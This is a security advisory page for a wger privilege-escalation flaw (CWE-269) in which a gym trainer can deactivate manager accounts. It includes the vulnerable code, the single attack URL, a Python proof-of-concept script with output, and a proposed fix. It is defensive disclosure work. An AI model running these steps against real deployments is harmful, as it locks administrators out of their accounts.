High

wger: Trainer Privilege Escalation - Improper Privilege Management

  • Disclosed: 07.10.2026
  • Updated: 15.10.2026 18:17

Summary

A user with only the gym_trainer permission can deactivate any account in the same gym, including gym_manager and general_gym_manager accounts. The UserDeactivateView grants access to anyone holding any one of gym.manage_gym, gym.manage_gyms, or gym.gym_trainer (OR logic via WgerMultiplePermissionRequiredMixin), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one.

Details

UserDeactivateView (file: wger/core/views/user.py, line 378) is configured with:

python
permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer')

WgerMultiplePermissionRequiredMixin (file: wger/utils/generic_views.py, line 48) treats this tuple as an OR check -- any single permission is sufficient:

python
class WgerMultiplePermissionRequiredMixin(PermissionRequiredMixin):
    def has_permission(self):
        for permission in self.get_permission_required():
            if self.request.user.has_perm(permission):
                return True      # <-- ANY one permission is enough
        return False

The dispatch() method only verifies same-gym membership:

python
def dispatch(self, request, *args, **kwargs):
    edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
    if (
        request.user.has_perm('gym.manage_gym')
        or request.user.has_perm('gym.gym_trainer')
    ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:
        return HttpResponseForbidden()
    # NO check: is the target user more privileged than the requester?
    return super().dispatch(request, *args, **kwargs)

There is no check preventing a trainer from targeting a manager. The same vulnerability exists in UserActivateView (line 415).

An additional contributing factor: get_permission_list() in wger/gym/helpers.py (line 102) always includes 'trainer' in the assignable roles, meaning any gym manager can create trainer accounts -- which can then deactivate the manager who created them.

PoC

Prerequisites

  • A gym with at least two users: one with gym_manager role (victim) and one with gym_trainer role (attacker)
  • Both users belong to the same gym

Attack Steps

# As the trainer, simply visit:
GET /en/user/<manager_user_id>/deactivate

The manager's account is immediately set to is_active = False. The manager can no longer log in.

Proof of Concept Script

python
#!/usr/bin/env python3
"""
PoC: Trainer -> Manager Privilege Escalation (Account Deactivation)
Target: wger Workout Manager
Severity: HIGH - CVSS 6.5
CWE-269: Improper Privilege Management

Usage:
    python3 poc.py http://localhost:8000
"""

import requests
import sys
import re

if len(sys.argv) < 2:
    print(f"Usage: {sys.argv[0]} <BASE_URL>")
    print(f"Example: {sys.argv[0]} http://localhost:8000")
    sys.exit(1)

BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v2"

MANAGER_USER = "gym_manager_poc"
MANAGER_PASS = "Manager!Poc!2025"
TRAINER_USER = "evil_trainer_poc"
TRAINER_PASS = "Trainer!Poc!2025"

BANNER = """
=====================================================================
  PoC: Trainer -> Manager Privilege Escalation
  Severity: HIGH
  CWE-269: Improper Privilege Management
=====================================================================
"""
print(BANNER)


# ---- Helper ----
def api_login(username, password):
    r = requests.post(f"{API}/login/", json={
        "username": username, "password": password
    })
    if r.status_code == 200:
        return r.json().get("token")
    return None

def api_headers(token):
    return {"Authorization": f"Token {token}", "Content-Type": "application/json"}


# ---- Setup via Django ORM (must run inside container) ----

import os, django
os.environ['DJANGO_SETTINGS_MODULE'] = 'settings.main'
sys.path.insert(0, '/home/wger/src')
django.setup()

from django.contrib.auth.models import User, Group
from wger.gym.models import Gym

# Ensure permission groups exist
for name in ['gym_member', 'gym_trainer', 'gym_manager', 'general_gym_manager']:
    Group.objects.get_or_create(name=name)

# Create gym
gym, _ = Gym.objects.get_or_create(name="PoC Test Gym")
print(f"[*] Gym: {gym.name} (id={gym.id})")

# Create manager (the VICTIM)
manager, created = User.objects.get_or_create(
    username=MANAGER_USER,
    defaults={"is_active": True}
)
if created:
    manager.set_password(MANAGER_PASS)
    manager.save()
manager.userprofile.gym = gym
manager.userprofile.save()
manager.groups.clear()
manager.groups.add(Group.objects.get(name='gym_manager'))
manager.is_active = True
manager.save()
print(f"[*] Manager (victim): {manager.username} (id={manager.id})")
print(f"    Groups: {[g.name for g in manager.groups.all()]}")
print(f"    is_active: {manager.is_active}")

# Create trainer (the ATTACKER)
trainer, created = User.objects.get_or_create(
    username=TRAINER_USER,
    defaults={"is_active": True}
)
if created:
    trainer.set_password(TRAINER_PASS)
    trainer.save()
trainer.userprofile.gym = gym
trainer.userprofile.save()
trainer.groups.clear()
trainer.groups.add(Group.objects.get(name='gym_trainer'))
print(f"[*] Trainer (attacker): {trainer.username} (id={trainer.id})")
print(f"    Groups: {[g.name for g in trainer.groups.all()]}")


# ---- 1. Verify manager is active BEFORE attack ----

manager.refresh_from_db()
print(f"\n[*] Manager is_active BEFORE attack: {manager.is_active}")
assert manager.is_active, "Manager should be active before test"


# ---- 2. ATTACK: Trainer deactivates manager ----

print(f"\n{'='*65}")
print(f"  ATTACK: Trainer deactivating gym manager account")
print(f"{'='*65}")

from django.test import Client
c = Client()
c.force_login(trainer)
resp = c.get(f"/en/user/{manager.id}/deactivate", follow=True)
print(f"\n  GET /en/user/{manager.id}/deactivate")
print(f"  (Logged in as: {TRAINER_USER} - gym_trainer only)")
print(f"  Response: HTTP {resp.status_code}")


# ---- 3. VERIFY ----

print(f"\n{'='*65}")
print(f"  VERIFICATION")
print(f"{'='*65}")

manager.refresh_from_db()
print(f"\n  Manager is_active AFTER attack: {manager.is_active}")

if not manager.is_active:
    print("""
  +----------------------------------------------------------+
  |  VULNERABILITY CONFIRMED                                 |
  |                                                          |
  |  A gym_trainer successfully deactivated a gym_manager!   |
  |  No privilege hierarchy check prevents this.             |
  |  The trainer can now lock out all managers from the gym.  |
  +----------------------------------------------------------+
""")
    manager.is_active = True
    manager.save()
    print("  [+] Cleanup: Manager re-activated")
else:
    print("\n  Manager is still active - NOT vulnerable")

Proof of Concept Output

=====================================================================
  PoC: Trainer -> Manager Privilege Escalation
  Severity: HIGH
  CWE-269: Improper Privilege Management
=====================================================================

[*] Gym: PoC Test Gym (id=2)
[*] Manager (victim): gym_manager_poc (id=4)
    Groups: ['gym_manager']
    is_active: True
[*] Trainer (attacker): evil_trainer_poc (id=5)
    Groups: ['gym_trainer']

[*] Manager is_active BEFORE attack: True

=================================================================
  ATTACK: Trainer deactivating gym manager account
=================================================================

  Trainer login: HTTP 200
  GET http://localhost/en/user/4/deactivate
  (Logged in as: evil_trainer_poc - gym_trainer only)
  Response: HTTP 200

=================================================================
  VERIFICATION
=================================================================

  Manager is_active AFTER attack: False

  +----------------------------------------------------------+
  |  VULNERABILITY CONFIRMED                                 |
  |                                                          |
  |  A gym_trainer successfully deactivated a gym_manager!   |
  |  No privilege hierarchy check prevents this.             |
  |  The trainer can now lock out all managers from the gym.  |
  +----------------------------------------------------------+

  [+] Cleanup: Manager re-activated

Impact

  1. Gym Management Lockout: A trainer can deactivate every manager account in their gym, effectively seizing control of the gym's administrative functions.
  2. Denial of Service: Deactivated managers cannot log in, manage members, or perform any administrative tasks until a general_gym_manager (superadmin) or a Django superuser manually re-activates their accounts.
  3. Abuse Chain: Since get_permission_list() always includes 'trainer' in assignable roles, any manager can unknowingly create the account that will later lock them out.

Fix

Add a privilege hierarchy check in UserDeactivateView.dispatch() and UserActivateView.dispatch():

python
# File: wger/core/views/user.py, inside dispatch() of both views

edit_user = get_object_or_404(User, pk=self.kwargs['pk'])

# Trainers must not deactivate/activate managers or other trainers
if request.user.has_perm('gym.gym_trainer') and not (
    request.user.has_perm('gym.manage_gym')
    or request.user.has_perm('gym.manage_gyms')
):
    if (
        edit_user.has_perm('gym.manage_gym')
        or edit_user.has_perm('gym.manage_gyms')
        or edit_user.has_perm('gym.gym_trainer')
    ):
        return HttpResponseForbidden()

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) wger <= 2.1 no fix

References

CVSS score 7.1/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N
Weakness (CWE)
CWE-269
Platform
Python (PyPI)
Package
wger
Disclosed
07.10.2026
Updated
15.10.2026 18:17

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-4316 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-x249-cx55-2h87 - CC BY 4.0

Vulnerability history: wger

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (20) in the archive
Total entries
20
First → latest
11.2022 10.2026
Without a fix
16
Exploited in attacks
0

Severity breakdown

  • Critical 2
  • High 8
  • Medium 9
  • Low 1

Disclosures per year

  1. 2022: 1
  2. 2023: 2
  3. 2024: 0
  4. 2025: 0
  5. 2026: 17
Severity:
  1. wger: Trainer Privilege Escalation - Improper Privilege Management this entry
    High · 7.1 CVE-2026-46434 <= 2.1 no fix
  2. Critical · 9.8 CVE-2022-2650 < 2.2 2.2

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.